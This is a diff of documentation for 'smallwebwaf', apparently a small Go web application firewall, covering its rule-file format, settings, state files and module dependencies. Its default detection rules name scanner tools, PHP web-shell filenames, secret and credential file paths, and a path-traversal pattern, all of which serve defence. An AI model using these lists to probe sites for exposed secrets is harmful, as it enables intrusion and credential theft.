 A rule is a line of four fields separated by spaces or tabs: an id, a target, an
 action and a regex. The regex runs to the end of the line. Blank lines and lines
 starting with `#` are ignored.
 ```
 # id           target      action  regex
 env-file       path        ban     (?i)^/\.env(\.[a-z]+)?$
 scanner-agent  user_agent  ban     (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
 ```
 - The id is letters, digits, `-` and `_`, unique across all files. The log line,
  the metrics, the alerts and a ban's notes name the rule by it.
 - The target is what the regex is matched against:
    - `path`: the path without the query;
    - `uri`: the path and the query together;
    - `query`: the query as sent;
    - `method`, `host`, `user_agent` and `referer`;
    - `header:<Name>`: any one request header but `Host` and
      `Transfer-Encoding`.
 - The action is `log`, `block` or `ban`.
 - The regex is in Go's syntax, RE2. It matches anywhere in the target unless
  anchored with `^` and `$`. `(?i)` at its front makes it ignore case.
 ## The default file
 The image ships one file, `share/rules.d/00-default.rules`, installed as
 `/etc/sww/rules.d/00-default.rules`:
 ```
 # 00-default.rules: probes no real visitor sends, anchored at the site root
 # id             target      action  regex
 env-file         path        ban     (?i)^/\.env(\.[a-z]+)?$
 vcs-dir          path        ban     (?i)^/\.(git|svn|hg|bzr)(/|$)
 secrets-dir      path        ban     (?i)^/\.(aws|ssh|docker|kube)/
 secret-file      path        ban     (?i)^/\.(htpasswd|htaccess|npmrc|netrc|pgpass|git-credentials|bash_history|DS_Store)$
 editor-dir       path        ban     (?i)^/\.(vscode|idea)/
 backup-file      path        ban     (?i)^/[^/]+\.(php(\.[a-z0-9]+|~)|sql(\.[a-z0-9]+)?)$
 log-file         path        ban     (?i)^/(debug|error|access)\.log$
 compose-file     path        ban     (?i)^/(docker-)?compose\.ya?ml$
 php-shell        path        ban     (?i)^/(shell|c99|r57|wso|alfa)\.php$
 scanner-agent    user_agent  ban     (?i)\b(sqlmap|nikto|nuclei|masscan|zgrab|wpscan)\b
 path-traversal   uri         block   (\.\./){2,}
 empty-agent      user_agent  log     ^$
 ```
 ## A file of your own
 `discriminator` reads the rule files in its own container. Rules of your own go
 in a file named to sort after the default, such as `50-site.rules`:
 ```
 # 50-site.rules: WordPress probes, which this site never serves
 wp-probe         path        ban     (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
 ```
 A `Dockerfile` built on the `smallwebwaf` image, for `discriminator` to run
 from, adds it:
 ```dockerfile
 COPY 50-site.rules /etc/sww/rules.d/50-site.rules
 ```
 Or mount it there. A `path` rule applies on every site behind that
 `discriminator`.
@@ -1,412 +0,0 @@
 # Settings
 Every setting, its default and the values it takes, in the groups of "Settings"
 in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
 that take `off`, the `_FILE` form, and what each group does and why.
 The settings that start with `SWW_` are `discriminator`'s. Those that start with
 `SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
 between the two (see "The image's command" below).
 ## Forms of values
 - A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
  and negative durations are refused.
 - A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
  of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
 - A count is a whole number of requests, such as `1000`.
 - A list is comma separated, with spaces around items ignored. An empty item is
  refused.
 - A netblock is an address and a prefix length, such as `10.0.0.0/8`. A bare
  address stands for itself alone.
 - A country is a two-letter code of ISO 3166-1, in either case: `de` and `DE`
  are the same. `xk` stands for Kosovo. A code that is not a country is refused,
  such as `nk` (North Korea is `kp`) or the withdrawn `su`.
 - An AS number is `AS` and the number, in either case, such as `AS64496`.
 - A percentage is a whole number from 0 to 100.
 - A path prefix starts with `/`, such as `/assets/`.
 ## Core
 - `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
  port, such as `:9000`. Leave the host out (see "Ports" in
  [`SPEC.md`](../SPEC.md)).
 - `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
  in each line `discriminator` logs, and in each alert and metric, such as
  `fsn1/discriminator`. Valid UTF-8. No control character while
  `SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
  space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
 - `SWW_MODE` (default `enforce`): `enforce` or `observe`.
 - `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
  group, from 32 to 128.
 - `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
  number above zero.
 - `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
  keeps, a whole number above zero.
 ## Tokens
 - `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
  `/_sww/clients/<ip>`. At least 32 characters.
 - `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
  32 characters.
 ## State files
 - `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
  absolute path that exists and can be written.
 - `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
  written after a ban is made, lifted or made permanent. A duration.
 - `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
  written. A duration.
 ## Logging
 - `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
  messages that are written: `debug`, `info`, `warn` or `error`.
 - `SWW_LOG_REQUEST_HEADERS` (default
  `accept,accept-language,accept-encoding,content-type,origin,range`): the
  request headers recorded in the log line, in either case. `Host` and
  `Transfer-Encoding` are refused; the host is the field `host`.
 - `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
  line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
  each with a host and a port and nothing more.
 - `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
  a `syslog+tls` server's certificate must chain to, instead of the host's own.
  A file that cannot be read, or holds no certificate, is refused.
 - `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
  to be sent, a whole number above zero.
 - `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
  `user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
  `authpriv`, `ftp`, or `local0` to `local7`.
 - `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
  syslog record, 1 to 48 printable ASCII characters without a space.
 ## Metrics
 - `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
  get series of their own. A whole number above zero.
 ## Static lists
 - `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
  (see step 3 in [`SPEC.md`](../SPEC.md)).
 - `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
  exempt from rate limiting and the byte limits.
 - `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
  3 in [`SPEC.md`](../SPEC.md)).
 ## Request rate limits, per client
 - `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
  client may make in a minute. A count or `off`. The default leaves room for a
  person opening two pages at once with an empty cache, up to 60 files each.
 - `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
  make in an hour. A count or `off`. It is the main limit against scrapers. A
  person reading a site for an hour, a page every 20 seconds, makes about 900. A
  scraper making one request every 2 seconds makes 1,800 an hour, more than the
  limit.
 - `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
  in a day. A count or `off`. The default is four hours at the hour limit. A
  scraper making one request every 10 seconds makes 8,640 a day, more than the
  limit.
 - A CI runner asks its code forge for work all day and can pass the limits. Put
  the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
  network where many people share one address, such as an office.
 - Counting cannot catch a client that stays under all three limits (see "Request
  rate limits, per client" in [`SPEC.md`](../SPEC.md)).
 - `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
  limiting and the byte limits, such as `/assets/`.
 ## Byte limits, per client
 - `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
  (default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
  counted for a client in each window. A size or `off`.
 - `SWW_BYTES_COUNT` (default `both`): which body bytes the byte limits count:
  `response`, `request` or `both`.
 ## Lookup of AS number and country
 - `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
  the start while a setting that needs a lookup is set:
    - the two country lists;
    - `SWW_ADD_LOOKUP_HEADERS`;
    - the four biased threshold lists and `SWW_ASN_LIMIT_PERCENT_URL`;
    - `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
    - an anomaly threshold per AS number.
 - `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
  `.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
 - `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
  client's first answer from GeoJS, and how long a request to GeoJS may take. A
  duration; never `off`.
 - `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
  the client's AS number in `X-Client-ASN` and its country in
  `X-Client-Country`.
 ## Country lists
 - `SWW_DENIED_COUNTRIES` (default empty): countries whose clients are refused,
  such as `cn,ru,kp`.
 - `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
  countries whose clients get through, such as `us,de`. A country on both lists
  stops the start.
 ## Biased thresholds
 - `SWW_ASN_LIMIT_PERCENT` (default empty): a list of AS numbers, each with `:`
  and a percentage, such as `AS14061:50,AS16276:50,AS45102:25`. An AS number
  listed twice is refused.
 - `SWW_COUNTRY_LIMIT_PERCENT` (default empty): the same by country, such as
  `cn:25,ru:50`.
 - `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): the
  same, for the byte limits alone.
 - `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
  lookup cannot place.
 - `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
  text file with one AS number and percentage on each line, such as
  `AS64496:50`. A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
 ## Attack detection
 - `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
 - `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
 - `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
  `/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
 - `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
 - `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
  from 1 to 4.
 - `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
  match. A whole number above zero, or `off`.
 - `SWW_WAF_DISABLED_RULES` (default
  `920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
  to switch off. Each a whole number above zero. An id from 900000 to 900999 is
  refused: those are the rules that set the Core Rule Set up, and
  `smallwebwaf`'s own.
 - `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
  not inspect.
 - `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
  Core Rule Set reads, a size of at most `64K`. A question carries no more of a
  body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
  it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
 - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
  exclusions, written as Coraza directives. It is loaded before the Core Rule
  Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
  with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
  read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
  file that names a number from 900000 to 900999 outside a comment, alone or in
  a range. So does a directive that removes or changes rules as the file loads,
  such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
  yet. It has no `_FILE` form.
 - `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals of one client in
  a minute (see "Attack detection" in `SPEC.md`). A count or `off`.
 ## Ban lengths, response and scope
 - `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
 - `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
  duration.
 - `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
  within which breaking a limit again lengthens the next ban. A duration.
 - `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
  that would be longer is permanent. A duration.
 - `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
  attack. A duration.
 - `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
  covers: the prefix length of its netblock, from 0 to 32.
 ## Reputation
 - `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
  `https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
  without a user or a fragment. A URL listed twice is refused.
 - `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
  try before it is fetched again. A duration of `1h` or more.
 - `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
 - `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
  `dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
  zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
  is refused, whatever its case or key.
 - `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
  such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
  port, 53 when none is given. Unset, the host's resolver is used.
 - `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
  control character in it is refused.
 - `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
  from 0 to 100, that is a hit.
 - `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
  whole number above zero. AbuseIPDB's free accounts may make 1,000.
 - `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
  you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
  user or a fragment; its decision list is at `v1/decisions` under it. Set
  without the key, it is refused. So is a decision list URL that is also in
  `SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
 - `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
  `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
  URL, it is refused.
 - `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
  `log`, for DNS blocklist and AbuseIPDB hits.
 - `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
  AbuseIPDB's score is used. A duration.
 - `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
  with AbuseIPDB may take. A duration.
 ## Alerting
 - `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
  as a JSON object. An `http` or `https` URL without a user or a fragment.
 - `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
  as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
  value cannot hold a comma.
 - `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
  receives each alert as a message, checked as the webhook URL is.
 - `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
  as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
  webhook URL is.
 - `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
  character in it is refused.
 - `SWW_ALERT_EVENTS` (default
  `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`):
  the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
  but `summary`. Any other name is refused.
 - `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
  repeats are held back. A duration or `off`.
 - `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
  whole number above zero, or `off`.
 ## Anomaly thresholds
 Each scope has four thresholds: the most requests and the most bytes counted in
 a minute and in an hour. Requests are counts, bytes are sizes. Each is `off` by
 default. The four thresholds per client are:
 - `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
 - `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
 - `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
 - `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
 The other scopes' names have another prefix before the same four endings, such
 as `REQUESTS_PER_MINUTE`:
 - `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
  netblock's length:
    - `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
      client;
    - `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
      client.
 - `SWW_ANOMALY_ASN_...`: per AS number.
 - `SWW_ANOMALY_TOTAL_...`: the whole service.
 - `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
  `SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
  `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
  name, or with a bad netblock, is refused. So is a name used twice.
 ## Settings given as files
 To give a token as a file, as "Tokens" under "Deployment" in
 [`SPEC.md`](../SPEC.md) describes, make the file on the host:
 ```sh
 mkdir -p /srv/app/tokens
 openssl rand -hex 32 > /srv/app/tokens/metrics
 chown 65532:65532 /srv/app/tokens/metrics
 chmod 0400 /srv/app/tokens/metrics
 ```
 Then mount its directory into the container read-only, and name the file:
 ```sh
 docker run \
    -v /srv/app/tokens:/etc/sww/tokens:ro \
    -e SWW_COMMAND=discriminator \
    -e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
    ...
 ```
 ## Fixed limits
 A few limits are fixed rather than settings:
 - at most 100,000 GeoJS answers are kept;
 - at most 100,000 DNS blocklist verdicts and 100,000 AbuseIPDB scores are kept;
 - at most 1,000 DNS blocklist queries are under way at once;
 - at most 20,000 anomaly counters are kept;
 - each alert destination's queue holds at most 1,000 alerts;
 - `discriminator` holds at most 10,000 answered requests awaiting their reports;
 - `discriminator` refuses a request with more than 50 cookies or more than 100
  header fields (see "Answering in time" under "`discriminator`" in
  [`SPEC.md`](../SPEC.md));
 - `rproxy` takes a request line and headers of at most 32 KiB, and closes a
  kept-open connection idle for 120 seconds;
 - `rproxy` reads at most 1 MiB of the body of `discriminator`'s answer, and
  answers `502` to a longer one.
 ## `discriminator`'s answer and `rproxy`'s wait
 `SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
 it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
 for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
 in the background (see "Answering in time" under "`discriminator`" in
 [`SPEC.md`](../SPEC.md)).
 ## `rproxy`
 `sww rproxy` reads the settings below and no others. They are read once at
 start, and an invalid value stops the start. None can be given as a file, since
 `rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
 they do.
 A time here is a whole number of milliseconds above zero, such as `2000`.
 - `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
  `https` URL with a host and an optional port, and nothing more. `rproxy`
  speaks HTTP/1.1 to it.
 - `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
  `discriminator`'s answer, to a question and to a report. A time; never `off`.
 - `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
  `discriminator` cannot be connected to, does not answer at all, or does not
  answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
  answers `503`. It does not apply to an answer `discriminator` gives, such as
  an error.
 - `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
  `off`.
 - `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
  `off`.
 - `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
  send its request line and headers. It then also bounds, from the end of the
  headers, the time until the app has been sent the whole request. A time or
  `off`.
 - `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
  from the end of the request to its last byte reaching the visitor. A time or
  `off`.
 - `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
 - `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
  `https` URL with a host and an optional port, and nothing more.
 - `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
  the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
  nothing. A client outside these netblocks cannot claim another address. Where
  other containers reach `rproxy` directly, or visitors on a private network
  reach traefik, they can name another address in the header. Narrowing the
  setting to traefik's own network closes that gap.
 ## The image's command
 `SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
 check checks: `rproxy` or `discriminator` (see "Deployment" in
 [`SPEC.md`](../SPEC.md)). It cannot be given as a file.
 ## Where earlier settings went
 Nothing reads these names any more:
 - `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
 - `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
 - `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
 - `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
 - `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
  `SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
 - `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
  `SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
 - `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
  setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
  takes a request line and headers of at most 32 KiB.
@@ -1,104 +0,0 @@
 # State files
 The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
 in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
 a top-level `version` of 1.
 ## `bans.json`
 Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
 `discriminator` made. Per entry:
 - `netblock`, `start` and `expires` (`null` for a permanent ban);
 - `cause`: `attack`, `limit`, `admin` or `crowdsec`;
 - `reason`: a short reason;
 - `lifted`: when an admin lifted it, if one did;
 - `notes`: the notes below.
 An entry an admin adds needs `netblock`, `start` and `expires`; `reason`,
 `notes` and `cause` may be left out, and the cause is then `admin`:
 ```json
 {
    "version": 1,
    "bans": [
        {
            "netblock": "203.0.113.0/24",
            "start": "2026-10-06T12:00:00Z",
            "expires": null,
            "reason": "probes for logins"
        }
    ]
 }
 ```
 "Bans" in [`SPEC.md`](../SPEC.md) says how an edit lifts, keeps or forgets a
 ban. The notes:
 - `asn`, `as_name` and `country`: the client's, added when the lookup answers
  (empty when lookups are off);
 - for a broken limit, `kind` (`requests`, `bytes` or `refusals`), `limit`,
  `window` and `count`: what the limit was on, the limit, its window and the
  count reached;
 - `limit_percent` and `limit_percent_setting`: the client's percentage of that
  limit and the setting that gave it, when a setting lowered it;
 - for a clear sign of attack, `rule_id` and `target`, or `trap_path`;
 - `reputation`: the sources the client was on, each with its `source` and, for
  AbuseIPDB, its `score`;
 - `request`: the request that caused the ban, each text cut to 256 bytes:
    - `time`, `method` and `host`;
    - `path`, with its query string;
    - `status` and `user_agent`;
 - `requests` and `refused`: the netblock's requests since it was first seen, and
  how many this ban has refused so far, kept up to date while the ban lasts;
 - `earlier_bans`: how many earlier bans the netblock had, by cause.
 ## `clients.json`
 Per client, one per line: its minute, hour and day counters, and its history
 since it was first seen:
 - the first and last time seen;
 - the AS number, AS name and country last looked up, and when;
 - total requests, and how many were forwarded and how many refused;
 - bytes in each direction;
 - responses by status class;
 - offences by kind: `limit`, `attack`, `rule_blocked` and `waf_blocked`. A file
  may also hold `token_refused`, which is kept, and which nothing adds to.
 ## `lookups.json`
 GeoJS answers, one per line:
 - `client`;
 - `asn`, `as_name` and `country`;
 - `answered`: when GeoJS answered;
 - `used`: when the answer was last used.
 ## `reputation.json`
 - the last good copy of each list fetched from a URL, with when it was last
  tried;
 - each DNS blocklist verdict still in use;
 - AbuseIPDB's scores, and the checks spent today.
 ## `alerts.json`
 - the anomaly counters;
 - the alert cooldowns: for each event and netblock, source, file or anomaly
  scope, when it was last sent and the count of repeats held back since;
 - the alerts sent and held back in the current hour;
 - the alerts waiting for each destination.
 ## Sizes
 - `clients.json`: about 1 KiB per client, about 20 MiB at the default
  `SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
  disk writes a day.
 - `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
  the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
  about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
  more.
 - `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
  full.
 - `reputation.json` and `alerts.json`: usually a few MiB or less.
@@ -3,8 +3,6 @@ module sneak.berlin/go/smallwebwaf
 go 1.26.0
 require (
 	github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
 	github.com/corazawaf/coraza/v3 v3.8.1
 	github.com/fsnotify/fsnotify v1.10.1
 	github.com/hashicorp/golang-lru/v2 v2.0.7
 	github.com/maxmind/mmdbwriter v1.2.0
@@ -15,29 +13,12 @@ require (
 require (
 	github.com/beorn7/perks v1.0.1 // indirect
 	github.com/cespare/xxhash/v2 v2.3.0 // indirect
 	github.com/corazawaf/libinjection-go v0.3.3 // indirect
 	github.com/goccy/go-json v0.10.5 // indirect
 	github.com/goccy/go-yaml v1.19.2 // indirect
 	github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
 	github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
 	github.com/kaptinlin/go-i18n v0.1.4 // indirect
 	github.com/kaptinlin/jsonschema v0.4.6 // indirect
 	github.com/kylelemons/godebug v1.1.0 // indirect
 	github.com/magefile/mage v1.17.0 // indirect
 	github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
 	github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
 	github.com/prometheus/client_model v0.6.2 // indirect
 	github.com/prometheus/common v0.70.1 // indirect
 	github.com/prometheus/procfs v0.21.1 // indirect
 	github.com/tidwall/gjson v1.18.0 // indirect
 	github.com/tidwall/match v1.1.1 // indirect
 	github.com/tidwall/pretty v1.2.1 // indirect
 	github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
 	go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
 	golang.org/x/net v0.58.0 // indirect
 	golang.org/x/sync v0.23.0 // indirect
 	golang.org/x/sys v0.48.0 // indirect
 	golang.org/x/text v0.41.0 // indirect
 	google.golang.org/protobuf v1.36.11 // indirect
 	rsc.io/binaryregexp v0.2.0 // indirect
 )
@@ -2,54 +2,22 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
 github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
 github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
 github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
 github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
 github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
 github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
 github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
 github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
 github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
 github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
 github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
 github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
 github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
 github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
 github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
